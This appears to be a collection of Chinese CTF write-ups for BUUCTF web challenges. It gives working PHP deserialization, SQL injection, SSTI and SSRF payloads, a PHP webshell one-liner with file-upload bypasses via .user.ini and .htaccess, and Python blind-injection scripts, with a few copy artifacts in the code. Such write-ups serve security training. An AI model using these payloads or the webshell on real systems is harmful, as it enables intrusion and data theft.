[极客大挑战 2019]PHP 打开提示备份文件,常见的备份文件跑一下字典,我这里直接试出来了是www.zip ,下载后有flag.php,class.php和index.php
index.php中最主要的是以下代码,需要我们传一个select进去,然后进行反序列化
1 2 3 4 5 <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
下面是class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求 那我们构造序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new name('admin',100); var_dump(serialize($a)); ?>
跑出来是这样的
1 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
到了这一步,问题就来了,在反序列化的时候会首先执行__wakeup()
魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup()
,而去执行__destruct
跳过__wakeup() 在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
1 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
属性个数原本是2,这里人为改为其他数字
private private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
我们再次改造一下序列化
1 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
将以上payload传进去就行 或者用jio本
1 2 3 4 5 import requests url='url' html = requests.get(url+"上述payload") print(html.text)
[ACTF2020 新生赛]BackupFile 第一步:进入题目,看到提示找到源文件,通过题目分析是找备份文件
php网站的备份文件可以尝试*.php.bak或者*.php~
这题是index.php.bak获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; } } else { echo "Try to find out source file!"; }
第二步:查看index.php.bak 通过源码得知需传入key这个参数,之后将key的数字提取出来与str字符串比较,相等就打印flag。
注:php中数字与字符串比较时,会将字符串里的数字传换成int,用这部分与之比较,所以我们只需传入123即可获得flag
[护网杯 2018]easy_tornado 打开题目依次有三个链接
结合render和题目的tornado可以知道是python的模板注入
网址里有参数filename
和filehash
推测这里flag应该是
filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
里面,filehash里hash就是提示为md5的hash加密。 变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串
cookie经过提示可以知道能通过模板注入获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 扩展:SSTI注入 SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。 sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。 SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql 注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。 tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入
初步尝试:
/file?filename=/fllllllllllllag&filehash=1
1 2 3 由官方文档可以知道:Tornado templates support control statements and expressions. Control statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}. Expressions are surrounded by {{ }}, e.g. {{ items[0] }}.
使用花括号的原因 我们传一个1进去可以回显,赋值22*22返回orz可知存在模板注入,这里过滤了
所以我们需要找到能查看cookie的方法
官方文件可知Tornado框架的附属文件handler.settings中存在cookie_secret
1 2 3 4 5 6 7 8 9 Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象 RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性 handler 指向RequestHandler 而RequestHandler.settings又指向self.application.settings 所有handler.settings就指向RequestHandler.application.settings
构造payload=url/error?msg= 可得到cookie
再按照之前的提示进行md5转换file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
即可得到flag
[极客大挑战 2019]BuyFlag 进去直接查看buy.php
说是flag要100000000这些钱。
除此之外再无线索,查看源码,发现:
让我们post过去一个money和一个password,password要等于404,并且password不能为数字,那好办我们可以用弱类型,即让password=404a
发现有个cookie值,且等于0,CTF直觉这肯定要改成1的 因为正常情况下这里是cookie的值
得到回显:“Nember lenth is too long”:
将数字改为科学计数法,即可
长度太长,合理猜测一下用的是strcmp,那么直接money[]=1就可以了
1 2 3 4 5 6 php中的strcmp漏洞 说明: int strcmp ( string $str1 , string $str2 ) 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0
[BJDCTF2020]Easy MD5 打开环境查看响应头可得到提示
这里看了wp,可以用ffifdyop,因为ffifdyop被md5后会变成276f722736c95d99e921722cf9ed621c,而十六进制会被转为ascii,最终变成’ or ‘6,所以就成永真式 select * from ‘admin’ where password = ‘ ‘ or ‘6….’ 相当于万能密码了,然后进入下一关
这里是php的md5弱比较,a要与b不相等,但md5相等,md5弱比较,只要找到前部分相同得MD5就行,这里可以用数组绕过,也可以用一些特殊的值绕过,特殊值放在最后,数组为a[]=1&b[]=2
这里是md5的强比较,要求类型和值都要一样,还是可以用数组绕过,因为md5函数不用解出数组的值,param1[]=111¶m2[]=222即可
提供一些0e开头的md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
[ZJCTF 2019]NiZhuanSiWei 直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
要传入text,file,password这三个变量,第一个if要确保text不为空,且file_get_contents到text的内容要为welcome to the zjctf,所以这里要求我们写入一个文件,所以才能让file_get_contents从文件里能读取出字符串。这里用伪协议data:// data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码,后面那一串是welcome to the zjctf的base64
1 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
绕过第一个if后,可以看到有一个useless.php,直接访问并没有任何东西,我们用伪协议查看下
1 file=php://filter/convert.base64-encode/resource=useless.php
能看到回显base64,解码后能看到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
能发现这其实是一个能利用的类,结合原来的代码有反序列化的函数,可以很容易的猜到应该是要把这里序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Flag{ //flag.php public $file = 'flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag; echo serialize($a); ?> O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里考察了一个魔术方法,__tostring,比如说如果实例化了一个类,然后直接echo打印,是会报错的. 报错:Object of class Person could not be converted to string
大致意思就是这个类不能被转化为字符类型,所以这里我们加一个__tostring,或者不调用魔术方法的情况下把echo这一句删除也不会报错
因为__tostring在反序列化时会被自动调用,所以我们可以利用file_get_contents来获得
然后按照上述的三步,将第二个改为file=useless.php依次传入就可以了
[SUCTF 2019]CheckIn 打开就是一个简单的上传页面,上传一个php试下,回显违法的
把后缀名改为jpg,发现回显:exif_imagetype:not image!
,猜测后端应该调用了php的exif_imagetype()
函数,这个很好绕过,添加图片文件头就可以了
提示文件内容里含有<?,这里对文件内容也做了检测,换一个木马的形式
1 2 GIF89a <script language='php'>assert($_REQUEST['cmd'])</scriptpt
到这里可以捋一下思路 -> 上传过滤为黑名单,但php脚本文件应该是无法上传的
-> 存在文件头过滤,需要添加图片文件的文件头
-> 文件的内容不能包含<?
,但可以上传<script language='php'><scirpt>
类型的图片马来绕过 ,按照以往的思路,可以尝试用.htaccess去把图片马解析为php,但这里不行,因为.htaccess只能适用于apache。这里看了下WP
,利用.user.ini来上传后门
我们可以在.user.ini
中设置php.ini
中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini
auto_prepend_file 和auto_append_file 这两个设置的区别只是在于auto_prepend_file 是在文件前插入;auto_append_file 在文件最后插入(当文件调用的有exit()
时该设置无效 ,这两个的作用我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
所以我们可以上传一个内容为
1 2 GIF89a auto_prepend_file=a.jpg
的.user.ini来为我们后面上传的木马做准备 此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,接着上传木马,访问到index.php,我这里本来想用蚁剑连的,但是不知道为什么连不上,就直接get传了获得flag
[极客大挑战 2019]HardSQL 打开题目,发现这也还是一个SQL注入的题目。难度可能比之前的大,也就加了点过滤吧。
通过测试发现过滤了union,and,等于号,空格
可以使用updatexml或extractvalue报错注入法
查表:
1 ?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin
查列:
1 ?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin
查内容:
1 ?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin
这个只得到了左边内容,用right得到右边内容
1 ?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=asdf
extractvalue: 查库:
1 ?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database())),0x7e))%23
查表:
1 ?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e))%23
查列:
1 ?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e))%23
查内容:
1 ?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e))%23
因为有32个字符的限制,所以这里用一下right或者substr把后面的显示下
1 ?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e))%23
[MRCTF2020]你传你🐎呢 上传一个一句话php,果然不行:
在Bp中修改mime的类型为image/jpeg
上传成功
但是并不能解析为php文件,那我们的马就没用所以我们需要上传一个htaccess文件
.htaccess文件(分布式配置文件),提供了针对目录改变配置的方法, 就是在一个特定的文件目录中放置一个包含多个指令的文件,以作用于此
目录及其子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache 的allowOverride指令来设置。httpd.conf文件中设置
编辑.htaccess文件内容
AddType application/x-httpd-php .jpg
以上内容就是可以把.jpg文件解析为php文件,这样我们就可以上马了。
首先我们先传一个.htaccess文件
然后把我们的马传上去
连蚁剑进根目录,就是flag
[MRCTF2020]Ez_bypass 进去直接就是源码,但是比较杂乱,整理下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) // 0e或者数组绕过 { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if(!is_numeric($passwd)) //弱类型 比如1234567a绕过 {if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0');} else { echo "can you think twice??";} } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else { die('Please input first'); } } Please input first
按照注释的方法依次传进去就是flag
[网鼎杯 2020 青龙组]AreUSerialz 进去就是源码,代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op;//protected受保护的修饰符,被定义为受保护的类成员则可以被其自身以及其子类和父类访问 protected $filename; protected $content; function __construct() {//构造函数 $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process();//->对象调用类的函数 } public function process() {//process方法 if($this->op == "1") { $this->write();//如果op=1就运行write函数 } else if($this->op == "2") {//注意这个是弱比较 $res = $this->read();//如果是op=2,运行read函数将运行完的值赋值res,然后将$res放到output函数中 $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content))//判断filname和content是否为空 { if(strlen((string)$this->content) > 100) {//判断content的长度是否大于100 $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content);//file_put_contents将一个字符串写入文件 if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) {//输出函数 echo "[Result]: <br>"; echo $s; } function __destruct() {//析构函数 该函数会在类的一个对象被删除时自动调用。 if($this->op === "2")//注意这个是强比较 $this->op = "1";//将1赋值给op $this->content = "";//将content变为空 $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++)//strlen判断字符串长度 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;//ord是以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值 } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
这里需要传入一个序列化之后的类对象。is_valid()是一层防护确保我们传入的str的每个字母的ascii值在32和125之间。注意protected在序列化之后会出现不可见字符\00*\100,不符合上面的要求,这里绕过方法就是直接改成public,原因是php7.1以上的版本对属性类型不敏感类型。而public属性序列化不会产生不可见字符而destruct()魔术方法会在传参是2的字符的时候,对传入的参数进行赋值
1 2 3 4 5 6 function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
这里的比较是===强比较,而在process()函数是弱比较
1 2 3 4 5 6 7 8 9 10 public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true. 进行序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = 2; } $a = new FileHandler(); $b = serialize($a); echo $b; ?> payload:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";i:2;}
这道题很有意思,要多研究下,虽然并不是很难
或者用伪协议传进去也行,因为这里有file_get_contents
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class FileHandler { public $op = 2; public $filename = "php://filter/convert.base64-encode/resource=flag.php"; public $content = 2; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>
acquisition:
1.file_get_content()可以读取php://filter伪协议。
2.protected/private类型的属性序列化后产生不可打印字符,public类型则不会。
3.PHP7.1+对类的属性类型不敏感。
4.关于强弱类型比较“===”、“==”。
[GXYCTF2019]BabySQli 进入题目可以看到一个登录框
做一些常规的输入和测试,能够发现做了一些过滤比如or 等号
随便登陆下,可以发现有一段base32
解密后是base64再次解密
1 得到select * from user where username = '$name'
得到了查询语句,可以知道这里只对用户名进行了查询,进行对字段的查询,还是尝试最常见的ordby但是被过滤,就是用union进行查询 比如:
1 admin' union select 1,2#
两个字段报错了 当查询为三个字段时不报错,可得为三个字段,提示为用户名错误,而之前也知道admin是存在这个用户名的,我们进行测试admin在第几个字段
比如
1 1' union select 'admin',2,3#
当admin为第二个字段时,提示为密码错误,可知道用户名为第二个字段,但是这里就卡住了,去看下search.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5--> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Do you know who am I?</title> <?php require "config.php"; require "flag.php"; // 去除转义 if (get_magic_quotes_gpc()) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); $_REQUEST = array_map('stripslashes_deep', $_REQUEST); } mysqli_query($con,'SET NAMES UTF8'); $name = $_POST['name']; $password = $_POST['pw']; $t_pw = md5($password); $sql = "select * from user where username = '".$name."'"; $result = mysqli_query($con, $sql); if(preg_match("/\(|\)|\=|or/", $name)){ die("do not hack me!"); } else{ if (!$result) { printf("Error: %s\n", mysqli_error($con)); exit(); } else{ $arr = mysqli_fetch_row($result); if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; } else{ die("wrong pass!"); } } else{ die("wrong user!"); } } } ?>
重点在这里
1 2 3 4 if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; }
前面对每个用户的密码进行了md5加密,每次查询如果我们输入数据的md5与数据库里密码的md5相等,就返回flag 这里看WP知道可以用联合查询绕过
用联合查询语句用来生成虚拟的表数据。
学到了联合注入有个技巧。在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据。 举个例子:
最初users表中只有一行数据,
我们通过union select查询就可以构造一行虚拟的数据,
如上图,我们在users表中利用联合查询创建了一行虚拟的数据。
我们的思路就来了,我们可以利用联合查询来创建一行admin账户的续集数据,混淆admin用户的密码,将我们自定义的admin用户的密码(123)加进去,这样我们不就可以登录admin
在用户名登录框输入1’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#其中202cb962ac59075b964b07152d234b70为123的MD5值,然后在密码登录框中输入123即可登录
[GYCTF2020]Blacklist 跟强网杯的随便注类似但过滤了更多
几乎把上次的三种方法都封闭了,不过还留了一个堆叠注入,不过不知道为啥不能查库名
然后查列名
接下来就不能用show查内容了,用handler(简直就是翻着文档做)
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
1 ';handler FlagHere open;handler FlagHere read first;handler close;#
flag就出了
[CISCN2019 华北赛区 Day2 Web1]Hack World 打开环境直接把表名和列名都给了我们都是flag
输入1,2时能获得回显是正常的,输入0显示error
1 2 3 4 id=1 Hello, glzjin wants a girlfriend. id=2 Do you want to be my girlfriend?
输入单引号返回false=,填入空格显示SQL Injection Checked说明空格被过滤了,但是单引号没有被过滤 根据题目提示构造payload
1 union select flag from flag
被过滤了,试下直接输入1 union也被过滤了,fuzz下把过滤了的都找到
去网上找了下wp看到了源码,能直接看到过滤了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($_POST['id'])){ $id = $_POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
这里确实没想到常见的注入手法,不过可以看到wp可以用异或注入 大佬的payload是这样:
1 0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性 ,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0)
,但如果id单引号字符型或双引号字符型,那就必须在if前加or或and 可以看到异或也是布尔的一种,只不过利用手法不同。这里大量的函数也没过滤,我贴上两种思路的脚本
if 0x容易理解版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests import time url = "http://web43.node1.buuoj.cn/index.php" data = {"id":""} flag = 'flag{' length = 5 while True: #直接从数字开始猜 for i in range(48,127): #复现平台有waf,一秒只能访问一次 time.sleep(1) #绕过一些过滤字符 if i in [38,42,43,45,59,96]: continue data["id"] = "if(substr((select flag from flag),1,{})='{}',1,2)".format(length+1,flag+chr(i)) r = requests.post(url,data=data) #返回1 if 'Hello' in r.text: flag+=chr(i) length+=1 print(flag) break if flag[-1]=='}': break
0x二分版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests #url是随时更新的,具体的以做题时候的为准 #有时候太快了状态码是429,发现数据异常可以多跑两遍 url = 'http://c0f13472-2391-4772-adfa-291d7bcf25d0.node3.buuoj.cn/' data = {"id":""} flag = 'flag{' i = 6 while True: #从可打印字符开始 begin = 32 end = 126 tmp = (begin+end)//2 while begin<end: data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp) r = requests.post(url,data=data) if 'Hello' in r.text: begin = tmp+1 tmp = (begin+end)//2 else: end = tmp tmp = (begin+end)//2 flag+=chr(tmp) print(flag) i+=1 if flag[-1]=='}': break
异或二分版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requests import time url = "http://be7c3bbe-f847-4c30-bfbd-baa005a54773.node3.buuoj.cn/index.php" payload = { "id" : "" } result = "" for i in range(1,100): l = 33 r =130 mid = (l+r)>>1 while(l<r): payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid) html = requests.post(url,data=payload) print(payload) if "Hello" in html.text: l = mid+1 else: r = mid mid = (l+r)>>1 if(chr(mid)==" "): break result = result + chr(mid) print(result) print("flag: " ,result)
[网鼎杯 2018]Fakebook 注册一个账号,发现有类似表格类型的id,username,password这种可以考虑到SQL注入
看到url有一个no的参数,尝试注入,输入一个单引号有报错,存在注入的可能
union注入被过滤了,尝试报错注入
1 1 and extractvalue(1,concat('~',(select(group_concat(database())))))%23
能爆出库名,接着表名,但很怪的是把的十六进制禁了,没把禁了,很怪
1 1 and extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='fakebook')))%23
爆出表名,接着爆列名
1 1 and extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))%23
接着查数据
1 1 and extractvalue(1,concat('~',(select(group_concat(right(passwd,32)))from(fakebook.users))))%23
但是查出来就是我刚注册的信息,但值得注意的是data这个字段是序列化后的形式 这里其实就没思路了,看了下WP,是要用工具扫下,能看到robots.txt泄露源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo {undefined public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) {undefined $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) {undefined $ch = curl_init(); //初始化一个curl会话 curl_setopt($ch, CURLOPT_URL, $url); //设置需要抓取的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上 $output = curl_exec($ch); //运行cURL,请求网页 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) {undefined return 404; } curl_close($ch); //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄 return $output; } public function getBlogContents () {undefined return $this->get($this->blog); } public function isValidBlog () {undefined $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
这里看了下没看出啥特别的漏洞点,WP里说get函数这里存在ssrf漏洞,又是一个新知识点,加上之前报错透露出文件的目录所在地 大致的思路到这里就清晰了
综合考虑:服务端请求伪造漏洞,在服务器上的flag.php文件,网站配置文件的物理路径(同时也是flag.php的路径),PHP反序列化。利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件
序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class UserInfo { public $name = "test"; public $age = 1; public $blog = "file:///var/www/html/flag.php"; } $a = new UserInfo(); $b = serialize($a); echo $b; O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
直接用 union select
会被WAF检测到,所以使用 /**/
来绕过
1 构造payload:/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
传过去查看源码解密base64就是flag(这里为啥是base64形式)